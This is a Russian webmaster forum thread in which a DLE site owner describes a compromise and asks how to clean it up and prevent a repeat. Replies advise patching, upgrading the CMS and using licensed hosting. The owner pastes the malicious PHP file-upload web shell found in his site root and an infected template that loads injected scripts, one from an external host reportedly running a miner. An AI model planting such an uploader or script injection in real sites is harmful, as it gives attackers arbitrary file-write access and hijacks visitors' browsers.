Dismiss Notice
ВАШИ ПРАВА ОГРАНИЧЕНЫ!

Зарегистрируйтесь на форуме, чтобы стать полноценным участником сообщества!

Вопрос? Как взломали сайт? как защититься?

Discussion in 'Вопросы- ответы' started by uskino, Dec 27, 2017.

27.12.17 в 09:12
27.12.17 в 20:59
7
856
0
  1. TopicStarter Overlay
    uskino

    uskino PRO Users

    Messages:
    762
    Likes Received:
    105
    Best Answers:
    1
    В общем ситуация такая. Стоит лиц. dle 10.2 версии, все доступные баг-фиксы сделаны. В один прекрасный день отдыха чисто по случайности заметил, что траф хорошенько так упал с яшки, аж в два раза. Перекрестился, что не в конце отдыха и написал Платону. А он говорит санкции за плохое качество мобильных страниц и мол идите проверяйте на подписки и т.д.
    Ну я начал ковыряться, нашел скрипт на главной странице левый вот с таким содержимым:
    Code:
    <script type="text/javascript" src="/rkt.php?yab=true&key=3294b9f3bd44c4b"></script>
    Самого этого файла у меня на сервере не было.

    По мимо кода, еще были залиты файлы в корень с таким содержимым:
    Code:
    <?php
    echo "Path: ".dirname(__FILE__)."<br>";
    if (isset($_POST['dir']) && isset($_FILES['uploadfile']['name']))
    {
        $uploaddir = $_POST['dir'];
        $uploadfile = $uploaddir.basename($_FILES['uploadfile']['name']);
        if (copy($_FILES['uploadfile']['tmp_name'], $uploadfile))
            echo "UPLOAD COMPLITED";
        else  echo "UPLOAD ERROR";
    }
    ?>
    <form action="" method="post" enctype="multipart/form-data">
    UploadDirPath:<input type="text" name="dir" value = "<?php echo "./"; ?>"><br>
    <input type="file" name="uploadfile"><br>
    <input type="submit" value="UP">
    </form>
    Я так понял этот скрипт может че угодно на сайт залить в корень.

    Code:
    <!DOCTYPE html>
    <html lang="ru" prefix="og: Open Graph protocol
                  video: http://ogp.me/ns/video#
                  ya: http://webmaster.yandex.ru/vocabularies/" >
    <head>
        <meta name="viewport" content="user-scalable=no, initial-scale=1.0, maximum-scale=1.0, width=device-width">
        {headers}
        <link rel="shortcut icon" href="/favicon.ico"/>
        <meta name="revisit-after" content="1 days">
        <link href="/uploads/play.png" rel='image_src'/>
        <link rel="stylesheet" href="{THEME}/css/mini.css">
        <link rel="stylesheet" href="{THEME}/css/style.css">
        <link rel="stylesheet" href="{THEME}/css/engine.css"><script src="//yadropro.ru/bigcinema-onlineru"></script>
        {include file='engine/metagen.php?a=get&r=name&t=<meta {r}="{p}" content="{v}"/>'}
        {include file='engine/metagen.php?a=get&r=property&t=<meta {r}="{p}" content="{v}"/>'}
    </head>
    <body>
    {AJAX}
    <div class="inner row">
        <div id="header">
            <div class="col l3 m4 s12 first">
                <div class="logo">
                    <a rel="nofollow" id="mainlogo" title="Сериалы онлайн" href="/"></a>
                </div>.
            </div>
    
            <div class="col l6 m4 s12 middle">
                {include file="topmenu.tpl"}
                <div class="clear"></div>
                <div class="message">
                
    
                
                </div>
            </div>
    
            <div class="col l3 m4 s12">
                <div class="socik">
                    <noindex>
                    <script type="text/javascript" src="//yastatic.net/share/share.js" charset="utf-8"></script>
                    <div class="yashare-auto-init" data-yasharel10n="ru" data-yasharetype="small" data-yasharequickservices="vkontakte,facebook,twitter,odnoklassniki,gplus" data-yasharetheme="counter">
                    </div>
                    </noindex>
                </div>
                {login}
            </div>
    
            <div class="clear"></div>
        </div>
    
        <div class="mob-menu">Навигация по сайту</div>
    
        <div class="podhead l12 m12 s12">
    
            <div class="col l7 m6 s12">
                [aviable=main]
                <h1 class="tag_title">Фильмы и сериалы 2018 смотреть онлайн</h1>
                [/aviable] [not-aviable=main]
                <div class="tag_title">
                    Фильмы и сериалы 2018 смотреть онлайн
                </div>
                [/not-aviable]
            </div>
    
            <div class="col l5 m6 s12 poisk">
                <div class="search">
                    <form method="post">
                        <input type="hidden" name="do" value="search">
                        <input type="hidden" name="subaction" value="search">
                        <input name="story" placeholder="Поиск..." type="text" class="f_search">
                        <input type="submit" class="bigbtn" value="Найти">
                    </form>
                </div>
            </div>
    
            <div class="clear"></div>
        </div>
    
    [aviable=main]
        <div class="slider">
            <div class="tophot row">
                {custom xfields="slider" template="justify" category="1-50" order="date" limit="6" cache="no"}
            </div>
            <div class="clear"></div>
        </div>
    [/aviable]
    
        <div class="col l8 m7 s12 maincont">
    
        [not-group=1,2,3,4]
            
    <center><iframe width="600" height="330" src="//utraff.com/index.php?r=iframe/index&id=1521" frameborder="0" scrolling="no"></iframe></center>
            
                [/not-group]
     
            [aviable=main|cat|xfsearch]
            <div class="xsort-area ignore-select">
                <div>Сортировать по:</div>
                {include file="engine/mods/xsort/selected.php"}
            </div>
            [/aviable]
        
            [aviable=showfull]{speedbar}[/aviable]
    
            [aviable=cat]{include file="category.tpl"}[/aviable]
    
            {content}{info}
    
        </div>
    
        <div class="col l4 m5 s12 sidebar">
            {include file="sidebar.tpl"}
    <!--
            <div class="popul">
                <div class="title">Популярные фильмы</div>
                {custom xfields="skorof" template="justify1" category="1-50" order="date" limit="6"}
            </div>
    -->
            [not-group=1,2,4]
            <noindex>
            [banner_tizer_p]
    {banner_tizer_p}
    [/banner_tizer_p]
            </noindex>
            [/not-group]
        </div>
    
    
    
        <div class="col l12 m12 s12">
            [aviable=main]
            <div class="mainbot">
        
            </div>
            [/aviable]
            [aviable=cat|main]{include file="engine/modules/catface.php"}[/aviable]
        </div>
    
        <div class="col l12 m12 s12 footer">
            <div class="links">
                <a rel="nofollow" target="_blank" href="/" title="BigCinema">Главная</a> |
                <a rel="nofollow" target="_blank" href="/serialy/" title="Смотреть сериалы онлайн">Сериалы</a> |
                <a rel="nofollow" target="_blank" href="/sitemap.xml" title="Карта сайта">Карта сайта</a>
            </div>
        <!--LiveInternet counter--><script type="text/javascript">
    document.write("<a href='//www.liveinternet.ru/click' "+
    "target=_blank><img src='//counter.yadro.ru/hit?t57.6;r"+
    escape(document.referrer)+((typeof(screen)=="undefined")?"":
    ";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth?
    screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+
    ";"+Math.random()+
    "' alt='' title='LiveInternet' "+
    "border='0' width='88' height='31'><\/a>")
    </script><!--/LiveInternet-->
            <div class="copy">
                Serial-smotret.online - Фильмы и сериалы 2017 смотреть онлайн без регистрации и в хорошем качестве HD 720
            </div>
    
            <div class="li">
        
            </div>
        </div>
    
    </div>
    
    
    <script type="text/javascript">
    $(document).ready(function() {
    
        var winBr = $(window).width();
        if(winBr<800){
            $(".podhead").prepend( $(".top_film") );
        }
    
    
        $(".mob-menu").click(function() {
            $(".top_film").slideToggle();
        });
    
        $(".mob-user").click(function() {
            $(this).slideToggle();
            $(".userinout").slideToggle();
        });
    });
    </script>
     
     
        <noindex>
        <script type="text/javascript" src="/engine/classes/min/index.php?charset=windows-1251&amp;f={THEME}/js/tabs.js,{THEME}/js/tabsfull.js,{THEME}/js/tr.js&amp;7"></script>
        <script type="text/javascript" src="{THEME}/js/soon.js"></script>
    
    
    
        <!-- Yandex.Metrika counter -->
    <script type="text/javascript">
        (function (d, w, c) {
            (w[c] = w[c] || []).push(function() {
                try {
                    w.yaCounter34984820 = new Ya.Metrika({
                        id:34984820,
                        clickmap:true,
                        trackLinks:true,
                        accurateTrackBounce:true,
                        webvisor:true
                    });
                } catch(e) { }
            });
    
            var n = d.getElementsByTagName("script")[0],
                s = d.createElement("script"),
                f = function () { n.parentNode.insertBefore(s, n); };
            s.type = "text/javascript";
            s.async = true;
            s.src = "https://mc.yandex.ru/metrika/watch.js";
    
            if (w.opera == "[object Opera]") {
                d.addEventListener("DOMContentLoaded", f, false);
            } else { f(); }
        })(document, window, "yandex_metrika_callbacks");
    </script>
    <noscript><div><img src="https://mc.yandex.ru/watch/34984820" style="position:absolute; left:-9999px;" alt="" /></div></noscript>
    <!-- /Yandex.Metrika counter -->
    </div></noindex>
    
    [not-group=1,2,3,4][banner_brend]
    {banner_brend}
    [/banner_brend][/not-group]
    
    <script>
    function xsort_empty(){
        $("#dle-content").html('<div class="xsort_empty">Ничего не найдено</div>');
    }
    
    $(document)
    .on('click','.xsort-selected',function(e){
        var ul = $(this).parents('.xsort-div').find('.xsort-ul');
        var d = ul.css('display');
        $('.xsort-ul').hide();
        if(d=='none') ul.slideDown(200);
    //    var litop = ul.find('li.current')[0].offsetTop-31;
    //    ul.animate({'scrollTop':litop+'px'},100);
        return false;
    })
    .on('click','.xsort-ul li',function(){
        $this = $(this);
        var text = $this.text();
        var val = $this.data('val');
        var field = $this.parents('.xsort-ul').data('field');
        var sel = $this.parents('.xsort-div');
        if(val!=='') sel.addClass('xsort-active');
        else sel.removeClass('xsort-active');
        sel = sel.find('.xsort-selected');
        var url = window.location.href;
        if(field=='defaultsort'){
            $this.siblings().removeClass('xasc xdesc');
            sel = sel.find('span');
            if(val!==''){
                if($this.hasClass('xdesc')){
                    $this.removeClass('xdesc').addClass('xasc');
                    sel.attr("class","xasc");
                }else{
                    $this.removeClass('xasc').addClass('xdesc');
                    sel.attr("class","xdesc");
                }
            }else{
                sel.removeClass('xasc xdesc');
            }
        }else{
            if($(this).hasClass('current')){
                $this.parents('.xsort-ul').find('li').eq(0).click();
                return false;
            }
        }
        sel.html(text);
        $this.addClass('current').siblings().removeClass('current');
    
        if(url.indexOf('/page/')>=0){
            url = url.split('/page/');
            url = url[0]+'/';
        }
        ShowLoading();
        $(".berrors").remove();
     
        $.ajax({
            url: url,
            type: "POST",
            method: "POST",
            data: {xsort:1,xs_field:field,xs_value:val}
        }).done(function(d){
            HideLoading();
            var html = $("#dle-content",d).html();
            if(html){
                $("#dle-content").html(html);
                if(url != window.location.href) window.history.pushState(null, null, url);
            }else xsort_empty();
        }).fail(function(d){
            HideLoading();
            xsort_empty();
        })
    })
    .on('click','body:not(.xsort-ul)',function(){
        $('.xsort-ul').fadeOut(100);
    })
    .on('click','.xsort-div-filler',function(){
        ShowLoading();
        $('#xsort-admin').remove();
        $('body').append('<div id="xsort-admin" title="Поиск и формирование списка значений доп. полей" style="display:none;"/>');
        $.post(dle_root+"engine/mods/xsort/admin.php",{do:'start'},function(d){
            HideLoading();
            $('#xsort-admin').html(d).dialog({
                width: '600px',
                buttons: {
                    'Закрыть':function(){
                        $(this).dialog('close');
                    }
                }
            });
        })
    })
    .on('click','.xsort-admin-area ul li',function(){
        var ul = $(this).parents('ul');
        ul.addClass('loading');
        if(!$(this).hasClass('current')) $(this).removeClass('xreverse');
        var reverse = $(this).hasClass('xreverse');
        $(this).toggleClass('xreverse');
        $(this).addClass('current').siblings().removeClass('current');
        $.post(dle_root+"engine/mods/xsort/admin.php",{field:$(this).data('field'),reverse:reverse},function(d){
            ul.removeClass('loading');
            $('.xsort-admin-area pre code').html(d);
        })
    })
    .on('click','.xsort-div-clearall',function(){
        var url = window.location.href;
        if(url.indexOf('/page/')>=0){
            url = url.split('/page/');
            url = url[0]+'/';
        }
        ShowLoading();
        $(".berrors").remove();
        $.ajax({
            url: url,
            type: "POST",
            method: "POST",
            data: {xsort:1,xs_field:'clearallfields'}
        }).done(function(d){
            HideLoading();
            window.location.href = url;
        }).fail(function(d){
            HideLoading();
            xsort_empty();
        })
    })
    </script>
    
    <!-- Yandex.Metrika counter --> <script type="text/javascript" > (function (d, w, c) { (w[c] = w[c] || []).push(function() { try { w.yaCounter46971411 = new Ya.Metrika({ id:46971411, clickmap:true, trackLinks:true, accurateTrackBounce:true }); } catch(e) { } }); var n = d.getElementsByTagName("script")[0], s = d.createElement("script"), f = function () { n.parentNode.insertBefore(s, n); }; s.type = "text/javascript"; s.async = true; s.src = "https://mc.yandex.ru/metrika/watch.js"; if (w.opera == "[object Opera]") { d.addEventListener("DOMContentLoaded", f, false); } else { f(); } })(document, window, "yandex_metrika_callbacks"); </script> <noscript><div><img src="https://mc.yandex.ru/watch/46971411" style="position:absolute; left:-9999px;" alt="" /></div></noscript> <!-- /Yandex.Metrika counter -->
    <script type="text/javascript" src="/rkt.php?yab=true&key=3294b9f3bd44c4b"></script>
    </body>
    </html>

    Во втором спойлере тпл файл с названием "main.tpl" со ссылкой в описании на "serial-smotret.online" (там майнят если что, осторожно). Там же есть такой же скрипт, которые мне в main подключили. Мб что-то где-то подменялось и он грузился с этого сайта, а не с моего, поэтому его и не было у меня на сервере или как, не знаю, хз. Ответьте, кто шарит)

    Админы хостинга говорят, что пароли никто не спер 100%, а был залит шелл и дело тут в дырах в самой CMS. Но я всевозможные фиксы ставлю сразу, как только на глаза попадаются и на данный момент стоят все.

    Вот в принципе вся история. Пароли все естественно поменяны, все лишние файлы удалены с сервера.
    Вопросы:
    1. Что это вообще такое?
    2. Как это все дело могло попасть на сайт?
    3. Как лечить? Вдруг чего забыл.
    4. Что можно сделать на будущее, чтобы подобных проблем не было?
     
    Last edited: Dec 27, 2017
  2. Ботяра

    Ботяра Забанен

    Messages:
    0
    Likes Received:
    0
    Best Answers:
    54
    Могли взломать сервер и попасть к тебе.
    Может быть что-то в шаблоне в скриптах зашифровано.
    Может вирусы на компе у тебя.
    Может патчи не все своевременно ставил.
    ... и т.д.
     
  3. Alaster

    Alaster Бывалый

    Messages:
    385
    Likes Received:
    31
    Best Answers:
    1
    патчи патчами, но лучше обновлять движек, ибо 10.2, но уже никуда не лезет, хотя бы 11.3 поставь
     
  4. TopicStarter Overlay
    uskino

    uskino PRO Users

    Messages:
    762
    Likes Received:
    105
    Best Answers:
    1
    После изучения логов хостер сказал, что 100% сервер не был взломан, дело в php скриптах. Шаб чистый на протяжении 5 лет используется уже. Так что варианты отпадают эти скорей всего.
    Патчи.... сейчас одуплил, что последний патч поставлен не был, там файлик masha заменить нужно было. Это всему беда скорей всего?
    Интересуют варианты контрацепции сайта от подобных вещей. Можно не бесплатно)

    Обновлять не лучший вариант, очень много технических переделок сделано. То есть 10.2 даже с патчами уязвима больше чем новые версии?
     
  5. Alaster

    Alaster Бывалый

    Messages:
    385
    Likes Received:
    31
    Best Answers:
    1
    дело может быть и не только в движке, а и в модулях, поставил какой левый и бесплатный модуль вот результат.., а может быть патчи, если качал не с офф сайта
     
  6. DLEPlugins

    DLEPlugins Кодер

    Messages:
    1,601
    Likes Received:
    1,076
    Best Answers:
    8
    Почему не вариант? Нанимаешь человека, он аккуратно все правки переносит со старой версии на новую. Новая 12.0. ваша устарела морально. Версии ниже 11 уязвимы
     
    • Нравится Нравится x 1
    • Согласен Согласен x 1
  7. TopicStarter Overlay
    uskino

    uskino PRO Users

    Messages:
    762
    Likes Received:
    105
    Best Answers:
    1
    Да потому что жадность)) Работы довольно много там придется сделать. Ладно, значит буду решать с обновками. Спасибо ;)
     
  8. ckau

    ckau Staff Member VIP Кинотрафик v2

    Messages:
    1,281
    Likes Received:
    263
    Best Answers:
    4
    Как как, через дырявые хостинги ломают. Ломают в двух случаях, либо хостинг дырка и туда льют всё что не попадя, либо сами админы хостинга если это гавно без лицензии левачат. Как поставил свои сервера, лет 8 уже ни один сайт ни одной тематики не взламывали, при том что есть сайты которые еще на первой джумле фигачат, в последние 2 года сделал несколько киносайтов, по 100-200к посещалка, тоже никто не взламывает, просто доступ рутовый только у меня и лью только я любые файлы. Это как с антивирусом, когда ищут лучше, но ты не лазь по гавно-сайтам и не будет у тебя вирусов даже если у тебя нет антивируса.
    Единственная защита использовать хостинг, у которого есть лицензия и лицензия бьётся у ркн как реальная. Такой хост несет ответственность за ваши файлы и за то, что у вас лежит.
     
    • Согласен Согласен x 1